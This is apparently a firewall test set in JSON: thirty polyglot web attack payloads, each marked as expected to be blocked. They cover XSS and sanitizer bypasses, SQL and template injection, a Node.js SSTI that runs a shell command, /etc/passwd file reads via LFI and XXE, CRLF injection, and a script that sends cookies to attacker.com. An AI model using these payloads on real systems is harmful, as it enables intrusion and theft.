[
  {"id":"poly-001","payload":"jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%%0telerik11telerik22telerik33","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","multi-context"],"notes":"XSS polyglot - works in multiple HTML contexts","expected_block":true},
  {"id":"poly-002","payload":"'\"><img src=x onerror=alert(1)//>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","html-break"],"notes":"Quote break + img onerror","expected_block":true},
  {"id":"poly-003","payload":"'\"><svg/onload=alert(1)//","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","svg","html-break"],"notes":"Quote break + SVG onload","expected_block":true},
  {"id":"poly-004","payload":"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","mega-polyglot"],"notes":"Multi-tag-break mega polyglot","expected_block":true},
  {"id":"poly-005","payload":"-->'\"--><svg/onload=alert(1)>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","comment-break"],"notes":"Comment + attribute break","expected_block":true},
  {"id":"poly-006","payload":"' OR 1=1--\"><svg/onload=alert(1)>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","sqli","dual"],"notes":"SQLi + XSS dual payload","expected_block":true},
  {"id":"poly-007","payload":"{{7*7}}<%= 7*7 %>${{7*7}}${7*7}","category":"polyglot","method":"GET","severity_hint":"critical","tags":["ssti","multi-engine"],"notes":"SSTI multi-engine probe","expected_block":true},
  {"id":"poly-008","payload":"{{constructor.constructor('return this')().process.mainModule.require('child_process').execSync('id')}}","category":"polyglot","method":"GET","severity_hint":"critical","tags":["ssti","node","rce"],"notes":"Universal Node.js SSTI RCE","expected_block":true},
  {"id":"poly-009","payload":"' OR 1=1-- -\"><script>alert(1)</script>{{7*7}}","category":"polyglot","method":"GET","severity_hint":"critical","tags":["sqli","xss","ssti","triple"],"notes":"SQLi + XSS + SSTI triple payload","expected_block":true},
  {"id":"poly-010","payload":"';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","all-quote-styles"],"notes":"XSS all quote style polyglot","expected_block":true},
  {"id":"poly-011","payload":"<svg/onload=alert(1)>{{7*7}}'OR 1=1--","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","ssti","sqli"],"notes":"XSS + SSTI + SQLi combined","expected_block":true},
  {"id":"poly-012","payload":"${7*7}{{7*7}}<%= 7*7 %>#{7*7}","category":"polyglot","method":"GET","severity_hint":"critical","tags":["ssti","all-engines"],"notes":"All template engine syntax probe","expected_block":true},
  {"id":"poly-013","payload":"<x]||id;[><svg/onload=alert(1)>{{7*7}}","category":"polyglot","method":"GET","severity_hint":"critical","tags":["rce","xss","ssti"],"notes":"RCE + XSS + SSTI polyglot","expected_block":true},
  {"id":"poly-014","payload":"';sleep(5)#\"><svg/onload=alert(1)>{{7*7}}","category":"polyglot","method":"GET","severity_hint":"critical","tags":["sqli","xss","ssti","time-based"],"notes":"SQLi sleep + XSS + SSTI","expected_block":true},
  {"id":"poly-015","payload":"<!--<img src=\"--><img src=x onerror=alert(1)//>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","comment-injection"],"notes":"HTML comment injection polyglot","expected_block":true},
  {"id":"poly-016","payload":"\"><img src=x onerror=alert(1)><\"","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","double-break"],"notes":"Double attribute break","expected_block":true},
  {"id":"poly-017","payload":"%00'\"><script>alert(1)</script>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","null-byte"],"notes":"Null byte + quote break + script","expected_block":true},
  {"id":"poly-018","payload":"' AND 1=0 UNION SELECT '<script>alert(1)</script>',2--","category":"polyglot","method":"GET","severity_hint":"critical","tags":["sqli","xss","stored"],"notes":"SQLi to stored XSS","expected_block":true},
  {"id":"poly-019","payload":"{{''.__class__.__mro__[1].__subclasses__()}}<img src=x onerror=alert(1)>' OR 1=1--","category":"polyglot","method":"GET","severity_hint":"critical","tags":["ssti","xss","sqli","python"],"notes":"Python SSTI + XSS + SQLi","expected_block":true},
  {"id":"poly-020","payload":"<script>document.location='http://attacker.com/cookie?c='+document.cookie</script>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","cookie-theft","exfil"],"notes":"Cookie exfiltration script","expected_block":true},
  {"id":"poly-021","payload":"<svg xmlns=\"http://www.w3.org/2000/svg\" onload=\"alert(1)\"/>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","svg","xmlns"],"notes":"SVG with explicit namespace","expected_block":true},
  {"id":"poly-022","payload":"../../../../../etc/passwd%00' OR 1=1--","category":"polyglot","method":"GET","severity_hint":"critical","tags":["lfi","sqli","dual"],"notes":"LFI + SQLi dual payload","expected_block":true},
  {"id":"poly-023","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><svg onload=alert(1)>&xxe;</svg>","category":"polyglot","method":"POST","severity_hint":"critical","tags":["xxe","xss","svg"],"notes":"XXE + XSS in SVG","expected_block":true},
  {"id":"poly-024","payload":"http://127.0.0.1' OR 1=1--","category":"polyglot","method":"GET","severity_hint":"critical","tags":["ssrf","sqli","dual"],"notes":"SSRF + SQLi dual payload","expected_block":true},
  {"id":"poly-025","payload":";id|<svg/onload=alert(1)>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["rce","xss","dual"],"notes":"Command injection + XSS","expected_block":true},
  {"id":"poly-026","payload":"{{7*7}}\r\nLocation: http://attacker.com","category":"polyglot","method":"GET","severity_hint":"critical","tags":["ssti","crlf","redirect"],"notes":"SSTI + CRLF redirect","expected_block":true},
  {"id":"poly-027","payload":"<math><mtext></mtext><mglyph><svg><mtext><style><path id=\"--><img src=x onerror=alert(1)//>\"\\/>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","mutation","mathml"],"notes":"MathML mutation XSS polyglot","expected_block":true},
  {"id":"poly-028","payload":"<form><math><mtext></mtext><form><mglyph><svg><mtext><textarea><path id=\"</textarea><img src=x onerror=alert(1)//>\"\\/>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","mutation","sanitizer-bypass"],"notes":"Sanitizer bypass mutation polyglot","expected_block":true},
  {"id":"poly-029","payload":"<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","noscript","context-switch"],"notes":"Noscript context switch","expected_block":true},
  {"id":"poly-030","payload":"</script></style>'\"--><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>","category":"polyglot","method":"GET","severity_hint":"critical","tags":["xss","universal","multi-context"],"notes":"Universal multi-context XSS polyglot","expected_block":true}
]